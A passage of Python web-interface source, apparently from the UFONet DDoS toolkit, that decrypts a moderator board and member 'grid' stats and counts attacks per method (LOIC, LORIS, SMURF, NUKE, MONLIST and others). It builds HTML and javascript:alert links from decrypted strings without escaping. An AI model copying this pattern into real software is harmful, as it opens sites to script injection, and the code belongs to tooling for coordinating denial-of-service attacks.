  5418. if page == "/links":
  5419. self.pages["/links"] = self.html_links()
  5420. if page == "/streams":
  5421. self.pages["/streams"] = self.html_streams()
  5422. if page == "/games":
  5423. self.pages["/games"] = self.html_games()
  5424. if page == "/spaceinvaders":
  5425. self.pages["/spaceinvaders"] = self.html_spaceinvaders()
  5426. if page == "/browser":
  5427. self.pages["/browser"] = self.html_browser()
  5428. if page == "/globalnet":
  5429. self.pages["/globalnet"] = self.html_globalnet()
  5430. if page == "/grid_profile":
  5431. if pGet=={}:
  5432. self.pages["/grid_profile"] = self.html_grid_profile()
  5433. else:
  5434. self.save_grid(pGet)
  5435. self.pages["/grid_profile"] = self.html_grid_profile_submit()
  5436. if page == "/board_profile":
  5437. if pGet =={}:
  5438. self.pages["/board_profile"] = self.html_board_profile()
  5439. else:
  5440. self.save_profile(pGet)
  5441. self.pages["/board_profile"] = self.html_board_profile_submit()
  5442. if page == "/board_remove":
  5443. self.pages["/board_remove"] = self.html_board_remove()
  5444. if page == "/grid_remove":
  5445. self.pages["/grid_remove"] = self.html_grid_remove()
  5446. if page == "/cmd_decrypt_moderator_board":
  5447. self.pages["/cmd_decrypt_moderator_board"] = "<pre>Waiting for decrypting results...</pre>"
  5448. try:
  5449. board_key = pGet["board_key"]
  5450. except:
  5451. board_key = ""
  5452. try:
  5453. filter = pGet["filter"]
  5454. except:
  5455. filter = ""
  5456. end_mark = "\n[Info] [AI] End of decryption."
  5457. if board_key is not "": # board decryption
  5458. nodec_text = "***[ENCRYPTED WITH OTHER KEY]"
  5459. f = open("/tmp/out", "w")
  5460. b = "<center><table border='1' cellpadding='10' cellspacing='5' align=center>"
  5461. f.write(str(b)+"\n")
  5462. self.list_moderator_rev = reversed(self.list_moderator) # order by DESC
  5463. for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment
  5464. if board_msg_sep in m:
  5465. m = m.split(board_msg_sep)
  5466. topic = m[0] # topic
  5467. t = m[1] # icon
  5468. n = m[2] # nick
  5469. g = m[3] # id
  5470. l = m[4] # comment
  5471. if topic == "1":
  5472. topic = "/GENERAL"
  5473. elif topic == "2":
  5474. topic = "/#OPSEC "
  5475. elif topic == "3":
  5476. topic = "/FAQ "
  5477. elif topic == "4":
  5478. topic = "/BUGS "
  5479. elif topic == "5":
  5480. topic = "/MEDIA "
  5481. else:
  5482. topic = "/BUGS[!]"
  5483. operator_img = open("core/images/crew/link"+str(t)+".txt").read()
  5484. icon = "<img src='data:image/png;base64,"+str(operator_img)+"'>"
  5485. self.decrypt(board_key, n)
  5486. if self.decryptedtext:
  5487. nick = self.decryptedtext
  5488. else:
  5489. nick = 'Anonymous' # We are legion!
  5490. try:
  5491. nick = nick.decode('latin-1') # parsing for "her.man.xs-latino"
  5492. except:
  5493. pass
  5494. if len(nick) < 3:
  5495. nick = 'Anonymous'
  5496. self.decryptedtext = "" # clean decryptedtext buffer
  5497. id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation)
  5498. self.decrypt(board_key, l)
  5499. if self.decryptedtext:
  5500. msg = self.decryptedtext
  5501. else:
  5502. msg = nodec_text
  5503. try:
  5504. msg = msg.decode('latin-1')
  5505. except:
  5506. pass
  5507. if len(msg) < 2:
  5508. msg = nodec_text
  5509. self.decryptedtext = "" # clean decryptedtext buffer
  5510. if filter in topic or filter == "ALL": # filter content by user selection
  5511. b = "<tr valign=top><td align=center>" + str(icon) + "<br>"+str(nick)+"</td><td>"
  5512. b += "<font size=+2>"+str(topic)+"</font>"
  5513. b += "<br>by "+str(nick)+"<br><br>"
  5514. b += str(msg) + "</td></tr>"
  5515. f.write(str(b)+"\n")
  5516. else:
  5517. pass
  5518. else: # not valid stream data
  5519. pass
  5520. b="</table>"
  5521. f.write(str(b)+"\n")
  5522. f.write(end_mark)
  5523. f.close()
  5524. if page == "/cmd_decrypt_moderator_board_update":
  5525. if not os.path.exists('/tmp/out'):
  5526. open('/tmp/out', 'w').close()
  5527. with open('/tmp/out', 'r') as f:
  5528. self.pages["/cmd_decrypt_moderator_board_update"] = "<pre>"+f.read()+"<pre>"
  5529. if page == "/cmd_decrypt_grid":
  5530. self.pages["/cmd_decrypt_grid"] = "<pre>Waiting for decrypting results...</pre>"
  5531. try:
  5532. grid_key = pGet["grid_key"]
  5533. except:
  5534. grid_key = ""
  5535. end_mark = "[Info] [AI] End of decryption."
  5536. if grid_key is not "": # grid decryption
  5537. # Mothership stats counters
  5538. mothership_members = 0
  5539. unknown_members = 0
  5540. member_1 = 0 # Rookie
  5541. member_2 = 0 # Mercenary
  5542. member_3 = 0 # Bandit
  5543. member_4 = 0 # UFOmmander!
  5544. member_5 = 0 # UFOl33t!
  5545. mothership_missions = 0
  5546. mothership_transferred = 0
  5547. mothership_attacks = 0
  5548. mothership_loic = 0
  5549. mothership_loris = 0
  5550. mothership_ufosyn = 0
  5551. mothership_spray = 0
  5552. mothership_smurf = 0
  5553. mothership_xmas = 0
  5554. mothership_nuke = 0
  5555. mothership_tachyon = 0
  5556. mothership_monlist = 0
  5557. mothership_chargo = 0
  5558. mothership_dorking = 0
  5559. mothership_maxchargo = 0
  5560. nodec_text = "KEY?"
  5561. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_nickname' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nickname','"+str(grid_key)+"')>NICK:</a></td><td align='center'><a id='filter_ranking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ranking','"+str(grid_key)+"')>RANK:</a></td><td align='center'><a id='filter_chargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('chargo','"+str(grid_key)+"')>CHARGO:</a></td><td align='center'><a id='filter_dorking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('dorking','"+str(grid_key)+"')>DORKING:</a></td><td align='center'><a id='filter_transf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('transferred','"+str(grid_key)+"')>TRANSF:</a></td><td align='center'><a id='filter_maxchargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('maxchargo','"+str(grid_key)+"')>MAX.CHARGO:</a></td><td align='center'><a id='filter_missions' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('missions','"+str(grid_key)+"')>MISSIONS:</a></td><td align='center'><a id='filter_attacks' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('attacks','"+str(grid_key)+"')>ATTACKS:</a></td><td align='center'><a id='filter_loic' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loic','"+str(grid_key)+"')>LOIC:</a></td><td align='center'><a id='filter_loris' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loris','"+str(grid_key)+"')>LORIS:</a></td><td align='center'><a id='filter_ufosyn' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufosyn','"+str(grid_key)+"')>UFOSYN:</a></td><td align='center'><a id='filter_spray' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('spray','"+str(grid_key)+"')>SPRAY:</a></td><td align='center'><a id='filter_smurf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('smurf','"+str(grid_key)+"')>SMURF:</a></td><td align='center'><a id='filter_xmas' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('xmas','"+str(grid_key)+"')>XMAS:</a></td><td align='center'><a id='filter_nuke' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nuke','"+str(grid_key)+"')>NUKE:</a></td><td align='center'><a id='filter_tachyon' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('tachyon','"+str(grid_key)+"')>TACHYON:</a></td><td align='center'><a id='filter_monlist' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('monlist','"+str(grid_key)+"')>MONLIST:</a></td><td align='center'><a id='filter_contact' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('contact','"+str(grid_key)+"')>CONTACT:</a></td></tr>"
  5562. grid_key = pGet["grid_key"]
  5563. f = open("/tmp/out", "w")
  5564. self.list_grid_rev = reversed(self.list_grid) # order by DESC
  5565. for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, contact, ID
  5566. if grid_msg_sep in m:
  5567. version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2|14->1.2.1|15->1.3|16->1.4)
  5568. m = m.split(grid_msg_sep)
  5569. mothership_members = mothership_members + 1 # add new registered member to mothership stats
  5570. grid_nickname = m[0] # nickname
  5571. self.decrypt(grid_key, grid_nickname)
  5572. if self.decryptedtext:
  5573. grid_nickname = self.decryptedtext
  5574. else:
  5575. grid_nickname = nodec_text
  5576. unknown_members = unknown_members + 1 # add members as unknown
  5577. self.decryptedtext = "" # clean decryptedtext buffer
  5578. if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3<str12)
  5579. grid_nickname = "Anonymous"
  5580. else:
  5581. grid_nickname = str(grid_nickname) # nickname
  5582. grid_ranking = m[1] # ranking
  5583. self.decrypt(grid_key, grid_ranking)
  5584. if self.decryptedtext:
  5585. try:
  5586. grid_ranking = int(self.decryptedtext)
  5587. except:
  5588. grid_ranking = nodec_text
  5589. else:
  5590. grid_ranking = nodec_text
  5591. self.decryptedtext = "" # clean decryptedtext buffer
  5592. if grid_ranking == 1: #Rookie
  5593. grid_ranking = "<font color='white' size='4'>*</font>"
  5594. member_1 = member_1 + 1
  5595. elif grid_ranking == 2: # Mercenary
  5596. grid_ranking = "<font color='cyan' size='4'>**</font>"
  5597. member_2 = member_2 + 1
  5598. elif grid_ranking == 3: # Bandit
  5599. grid_ranking = "<font color='blueviolet' size='4'>***</font>"
  5600. member_3 = member_3 + 1
  5601. elif grid_ranking == 4: # UFOmmander!
  5602. grid_ranking = "<font color='blue' size='4'>****</font>"
  5603. member_4 = member_4 + 1
  5604. elif grid_ranking == 5: # UFOl33t!
  5605. grid_ranking = "<font color='red' size='4'>&#x25BC;</font>"
  5606. member_5 = member_5 + 1
  5607. else:
  5608. grid_ranking = nodec_text
  5609. grid_totalchargo = m[2] # total chargo
  5610. self.decrypt(grid_key, grid_totalchargo)
  5611. if self.decryptedtext:
  5612. grid_totalchargo = self.decryptedtext
  5613. else:
  5614. grid_totalchargo = nodec_text
  5615. self.decryptedtext = "" # clean decryptedtext buffer
  5616. try: # parse for int
  5617. grid_totalchargo = int(grid_totalchargo)
  5618. mothership_chargo = mothership_chargo + grid_totalchargo
  5619. except:
  5620. grid_totalchargo = nodec_text
  5621. grid_dorking = m[3] # dorking
  5622. self.decrypt(grid_key, grid_dorking)
  5623. if self.decryptedtext:
  5624. grid_dorking = self.decryptedtext
  5625. else:
  5626. grid_dorking = nodec_text
  5627. self.decryptedtext = "" # clean decryptedtext buffer
  5628. try: # parse for int
  5629. grid_dorking = int(grid_dorking)
  5630. mothership_dorking = mothership_dorking + grid_dorking
  5631. except:
  5632. grid_dorking = nodec_text
  5633. grid_transferred = m[4] # transferred
  5634. self.decrypt(grid_key, grid_transferred)
  5635. if self.decryptedtext:
  5636. grid_transferred = self.decryptedtext
  5637. else:
  5638. grid_transferred = nodec_text
  5639. self.decryptedtext = "" # clean decryptedtext buffer
  5640. try: # parse for int
  5641. grid_transferred = int(grid_transferred)
  5642. mothership_transferred = mothership_transferred + grid_transferred
  5643. except:
  5644. grid_transferred = nodec_text
  5645. grid_maxchargo = m[5] # maxchargo
  5646. self.decrypt(grid_key, grid_maxchargo)
  5647. if self.decryptedtext:
  5648. grid_maxchargo = self.decryptedtext
  5649. else:
  5650. grid_maxchargo = nodec_text
  5651. self.decryptedtext = "" # clean decryptedtext buffer
  5652. try: # parse for int
  5653. grid_maxchargo = int(grid_maxchargo)
  5654. mothership_maxchargo = mothership_maxchargo + grid_maxchargo
  5655. except:
  5656. grid_maxchargo = nodec_text
  5657. grid_missions = m[6] # missions
  5658. self.decrypt(grid_key, grid_missions)
  5659. if self.decryptedtext:
  5660. grid_missions = self.decryptedtext
  5661. else:
  5662. grid_missions = nodec_text
  5663. self.decryptedtext = "" # clean decryptedtext buffer
  5664. try: # parse for int
  5665. grid_missions = int(grid_missions)
  5666. mothership_missions = mothership_missions + grid_missions
  5667. except:
  5668. grid_missions = nodec_text
  5669. grid_attacks = m[7] # attacks
  5670. self.decrypt(grid_key, grid_attacks)
  5671. if self.decryptedtext:
  5672. grid_attacks = self.decryptedtext
  5673. else:
  5674. grid_attacks = nodec_text
  5675. self.decryptedtext = "" # clean decryptedtext buffer
  5676. try: # parse for int
  5677. grid_attacks = int(grid_attacks)
  5678. mothership_attacks = mothership_attacks + grid_attacks
  5679. except:
  5680. grid_attacks = nodec_text
  5681. grid_loic = m[8] # loic
  5682. self.decrypt(grid_key, grid_loic)
  5683. if self.decryptedtext:
  5684. grid_loic = self.decryptedtext
  5685. else:
  5686. grid_loic = nodec_text
  5687. self.decryptedtext = "" # clean decryptedtext buffer
  5688. try: # parse for int
  5689. grid_loic = int(grid_loic)
  5690. mothership_loic = mothership_loic + grid_loic
  5691. except:
  5692. grid_loic = nodec_text
  5693. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  5694. grid_loris = m[9] # loris
  5695. self.decrypt(grid_key, grid_loris)
  5696. if self.decryptedtext:
  5697. grid_loris = self.decryptedtext
  5698. else:
  5699. grid_loris = nodec_text
  5700. self.decryptedtext = "" # clean decryptedtext buffer
  5701. try: # parse for int
  5702. grid_loris = int(grid_loris)
  5703. mothership_loris = mothership_loris + grid_loris
  5704. except:
  5705. grid_loris = nodec_text
  5706. else:
  5707. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  5708. self.decrypt(grid_key, grid_loris)
  5709. if self.decryptedtext:
  5710. grid_loris = self.decryptedtext
  5711. else:
  5712. grid_loris = nodec_text
  5713. self.decryptedtext = "" # clean decryptedtext buffer
  5714. try: # parse for int
  5715. grid_loris = int(grid_loris)
  5716. mothership_loris = mothership_loris + grid_loris
  5717. except:
  5718. grid_loris = nodec_text
  5719. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  5720. grid_ufosyn = m[10] # ufosyn
  5721. self.decrypt(grid_key, grid_ufosyn)
  5722. if self.decryptedtext:
  5723. grid_ufosyn = self.decryptedtext
  5724. else:
  5725. grid_ufosyn = nodec_text
  5726. self.decryptedtext = "" # clean decryptedtext buffer
  5727. try: # parse for int
  5728. grid_ufosyn = int(grid_ufosyn)
  5729. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  5730. except:
  5731. grid_ufosyn = nodec_text
  5732. else:
  5733. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  5734. self.decrypt(grid_key, grid_ufosyn)
  5735. if self.decryptedtext:
  5736. grid_ufosyn = self.decryptedtext
  5737. else:
  5738. grid_ufosyn = nodec_text
  5739. self.decryptedtext = "" # clean decryptedtext buffer
  5740. try: # parse for int
  5741. grid_ufosyn = int(grid_ufosyn)
  5742. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  5743. except:
  5744. grid_ufosyn = nodec_text
  5745. if version > 17 or version == 17 or version == 16 or version == 15:
  5746. grid_spray = m[11] # spray
  5747. self.decrypt(grid_key, grid_spray)
  5748. if self.decryptedtext:
  5749. grid_spray = self.decryptedtext
  5750. else:
  5751. grid_spray = nodec_text
  5752. self.decryptedtext = "" # clean decryptedtext buffer
  5753. try: # parse for int
  5754. grid_spray = int(grid_spray)
  5755. mothership_spray = mothership_spray + grid_spray
  5756. except:
  5757. grid_spray = nodec_text
  5758. else:
  5759. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  5760. self.decrypt(grid_key, grid_spray)
  5761. if self.decryptedtext:
  5762. grid_spray = self.decryptedtext
  5763. else:
  5764. grid_spray = nodec_text
  5765. self.decryptedtext = "" # clean decryptedtext buffer
  5766. try: # parse for int
  5767. grid_spray = int(grid_spray)
  5768. mothership_spray = mothership_spray + grid_spray
  5769. except:
  5770. grid_spray = nodec_text
  5771. if version > 17 or version == 17 or version == 16 or version == 15:
  5772. grid_smurf = m[12] # smurf
  5773. self.decrypt(grid_key, grid_smurf)
  5774. if self.decryptedtext:
  5775. grid_smurf = self.decryptedtext
  5776. else:
  5777. grid_smurf = nodec_text
  5778. self.decryptedtext = "" # clean decryptedtext buffer
  5779. try: # parse for int
  5780. grid_smurf = int(grid_smurf)
  5781. mothership_smurf = mothership_smurf + grid_smurf
  5782. except:
  5783. grid_smurf = nodec_text
  5784. else:
  5785. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  5786. self.decrypt(grid_key, grid_smurf)
  5787. if self.decryptedtext:
  5788. grid_smurf = self.decryptedtext
  5789. else:
  5790. grid_smurf = nodec_text
  5791. self.decryptedtext = "" # clean decryptedtext buffer
  5792. try: # parse for int
  5793. grid_smurf = int(grid_smurf)
  5794. mothership_smurf = mothership_smurf + grid_smurf
  5795. except:
  5796. grid_smurf = nodec_text
  5797. if version > 17 or version == 17 or version == 16 or version == 15:
  5798. grid_xmas = m[13] # xmas
  5799. self.decrypt(grid_key, grid_xmas)
  5800. if self.decryptedtext:
  5801. grid_xmas = self.decryptedtext
  5802. else:
  5803. grid_xmas = nodec_text
  5804. self.decryptedtext = "" # clean decryptedtext buffer
  5805. try: # parse for int
  5806. grid_xmas = int(grid_xmas)
  5807. mothership_xmas = mothership_xmas + grid_xmas
  5808. except:
  5809. grid_xmas = nodec_text
  5810. else:
  5811. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  5812. self.decrypt(grid_key, grid_xmas)
  5813. if self.decryptedtext:
  5814. grid_xmas = self.decryptedtext
  5815. else:
  5816. grid_xmas = nodec_text
  5817. self.decryptedtext = "" # clean decryptedtext buffer
  5818. try: # parse for int
  5819. grid_xmas = int(grid_xmas)
  5820. mothership_xmas = mothership_xmas + grid_xmas
  5821. except:
  5822. grid_xmas = nodec_text
  5823. if version > 17 or version == 17 or version == 16:
  5824. grid_nuke = m[14] # nuke
  5825. self.decrypt(grid_key, grid_nuke)
  5826. if self.decryptedtext:
  5827. grid_nuke = self.decryptedtext
  5828. else:
  5829. grid_nuke = nodec_text
  5830. self.decryptedtext = "" # clean decryptedtext buffer
  5831. try: # parse for int
  5832. grid_nuke = int(grid_nuke)
  5833. mothership_nuke = mothership_nuke + grid_nuke
  5834. except:
  5835. grid_nuke = nodec_text
  5836. else:
  5837. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  5838. self.decrypt(grid_key, grid_nuke)
  5839. if self.decryptedtext:
  5840. grid_nuke = self.decryptedtext
  5841. else:
  5842. grid_nuke = nodec_text
  5843. self.decryptedtext = "" # clean decryptedtext buffer
  5844. try: # parse for int
  5845. grid_nuke = int(grid_nuke)
  5846. mothership_nuke = mothership_nuke + grid_nuke
  5847. except:
  5848. grid_nuke = nodec_text
  5849. if version > 17 or version == 17:
  5850. grid_tachyon = m[15] # tachyon
  5851. self.decrypt(grid_key, grid_tachyon)
  5852. if self.decryptedtext:
  5853. grid_tachyon = self.decryptedtext
  5854. else:
  5855. grid_tachyon = nodec_text
  5856. self.decryptedtext = "" # clean decryptedtext buffer
  5857. try: # parse for int
  5858. grid_tachyon = int(grid_tachyon)
  5859. mothership_tachyon = mothership_tachyon + grid_tachyon
  5860. except:
  5861. grid_tachyon = nodec_text
  5862. else:
  5863. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  5864. self.decrypt(grid_key, grid_tachyon)
  5865. if self.decryptedtext:
  5866. grid_tachyon = self.decryptedtext
  5867. else:
  5868. grid_tachyon = nodec_text
  5869. self.decryptedtext = "" # clean decryptedtext buffer
  5870. try: # parse for int
  5871. grid_tachyon = int(grid_tachyon)
  5872. mothership_tachyon = mothership_tachyon + grid_tachyon
  5873. except:
  5874. grid_tachyon = nodec_text
  5875. if version > 17:
  5876. grid_monlist = m[16] # monlist
  5877. self.decrypt(grid_key, grid_monlist)
  5878. if self.decryptedtext:
  5879. grid_monlist = self.decryptedtext
  5880. else:
  5881. grid_monlist = nodec_text
  5882. self.decryptedtext = "" # clean decryptedtext buffer
  5883. try: # parse for int
  5884. grid_monlist = int(grid_monlist)
  5885. mothership_monlist = mothership_monlist + grid_monlist
  5886. except:
  5887. grid_monlist = nodec_text
  5888. else:
  5889. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  5890. self.decrypt(grid_key, grid_monlist)
  5891. if self.decryptedtext:
  5892. grid_monlist = self.decryptedtext
  5893. else:
  5894. grid_monlist = nodec_text
  5895. self.decryptedtext = "" # clean decryptedtext buffer
  5896. try: # parse for int
  5897. grid_monlist = int(grid_monlist)
  5898. mothership_monlist = mothership_monlist + grid_monlist
  5899. except:
  5900. grid_monlist = nodec_text
  5901. if version > 17:
  5902. grid_contact = m[17] # contact
  5903. self.decrypt(grid_key, grid_contact)
  5904. if self.decryptedtext:
  5905. grid_contact = self.decryptedtext
  5906. else:
  5907. grid_contact = nodec_text
  5908. self.decryptedtext = "" # clean decryptedtext buffer
  5909. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[17] = grid_contact (>str3<str120)
  5910. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  5911. else:
  5912. try:
  5913. if " " in grid_contact: # m[17] = grid_contact
  5914. grid_contact = grid_contact.replace(" ","")
  5915. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  5916. except:
  5917. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  5918. try:
  5919. grid_id = m[18] # id
  5920. except:
  5921. grid_id = '6666666666666666666666666666666666666' # fake id
  5922. elif version == 17:
  5923. grid_contact = m[16] # contact
  5924. self.decrypt(grid_key, grid_contact)
  5925. if self.decryptedtext:
  5926. grid_contact = self.decryptedtext
  5927. else:
  5928. grid_contact = nodec_text
  5929. self.decryptedtext = "" # clean decryptedtext buffer
  5930. grid_contact = str(grid_contact) # contact
  5931. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[16] = grid_contact (>str3<str120)
  5932. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  5933. else:
  5934. try:
  5935. if " " in grid_contact: # m[16] = grid_contact
  5936. grid_contact = grid_contact.replace(" ","")
  5937. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  5938. except:
  5939. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  5940. try:
  5941. grid_id = m[17] # id
  5942. except:
  5943. grid_id = '6666666666666666666666666666666666666' # fake id
  5944. elif version == 16:
  5945. grid_contact = m[15] # contact
  5946. self.decrypt(grid_key, grid_contact)
  5947. if self.decryptedtext:
  5948. grid_contact = self.decryptedtext
  5949. else:
  5950. grid_contact = nodec_text
  5951. self.decryptedtext = "" # clean decryptedtext buffer
  5952. grid_contact = str(grid_contact) # contact
  5953. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[15] = grid_contact (>str3<str120)
  5954. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  5955. else:
  5956. try:
  5957. if " " in grid_contact: # m[15] = grid_contact
  5958. grid_contact = grid_contact.replace(" ","")
  5959. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  5960. except:
  5961. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  5962. try:
  5963. grid_id = m[16] # id
  5964. except:
  5965. grid_id = '6666666666666666666666666666666666666' # fake id
  5966. elif version == 15:
  5967. grid_contact = m[14] # contact
  5968. self.decrypt(grid_key, grid_contact)
  5969. if self.decryptedtext:
  5970. grid_contact = self.decryptedtext
  5971. else:
  5972. grid_contact = nodec_text
  5973. self.decryptedtext = "" # clean decryptedtext buffer
  5974. grid_contact = str(grid_contact) # contact
  5975. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[14] = grid_contact (>str3<str120)
  5976. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  5977. else:
  5978. try:
  5979. if " " in grid_contact: # m[14] = grid_contact
  5980. grid_contact = grid_contact.replace(" ","")
  5981. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  5982. except:
  5983. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  5984. try:
  5985. grid_id = m[15] # id
  5986. except:
  5987. grid_id = '6666666666666666666666666666666666666' # fake id
  5988. elif version == 12:
  5989. grid_contact = m[11] # contact
  5990. self.decrypt(grid_key, grid_contact)
  5991. if self.decryptedtext:
  5992. grid_contact = self.decryptedtext
  5993. else:
  5994. grid_contact = nodec_text
  5995. self.decryptedtext = "" # clean decryptedtext buffer
  5996. grid_contact = str(grid_contact) # contact
  5997. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3<str120)
  5998. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  5999. else:
  6000. try:
  6001. if " " in grid_contact: # m[11] = grid_contact
  6002. grid_contact = grid_contact.replace(" ","")
  6003. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  6004. except:
  6005. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6006. try:
  6007. grid_id = m[12] # id
  6008. except:
  6009. grid_id = '6666666666666666666666666666666666666' # fake id
  6010. elif version == 11:
  6011. grid_contact = m[10] # contact
  6012. self.decrypt(grid_key, grid_contact)
  6013. if self.decryptedtext:
  6014. grid_contact = self.decryptedtext
  6015. else:
  6016. grid_contact = nodec_text
  6017. self.decryptedtext = "" # clean decryptedtext buffer
  6018. grid_contact = str(grid_contact) # contact
  6019. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3<str120)
  6020. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6021. else:
  6022. try:
  6023. if " " in grid_contact: # m[10] = grid_contact
  6024. grid_contact = grid_contact.replace(" ","")
  6025. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  6026. except:
  6027. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6028. try:
  6029. grid_id = m[11] # id
  6030. except:
  6031. grid_id = '6666666666666666666666666666666666666' # fake id
  6032. elif version == 10:
  6033. grid_contact = m[9] # contact
  6034. self.decrypt(grid_key, grid_contact)
  6035. if self.decryptedtext:
  6036. grid_contact = self.decryptedtext
  6037. else:
  6038. grid_contact = nodec_text
  6039. self.decryptedtext = "" # clean decryptedtext buffer
  6040. grid_contact = str(grid_contact) # contact
  6041. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3<str120)
  6042. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6043. else:
  6044. try:
  6045. if " " in grid_contact: # m[9] = grid_contact
  6046. grid_contact = grid_contact.replace(" ","")
  6047. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  6048. except:
  6049. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6050. try:
  6051. grid_id = m[10] # id
  6052. except:
  6053. grid_id = '6666666666666666666666666666666666666' # fake id
  6054. else:
  6055. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6056. grid_id = '6666666666666666666666666666666666666' # fake id
  6057. try: # parsing for valid stream struct
  6058. grid_ranking = str(grid_ranking)
  6059. if grid_ranking == nodec_text: # hide any data when user is encrypted
  6060. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>"
  6061. grid_table += "<tr><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  6062. else:
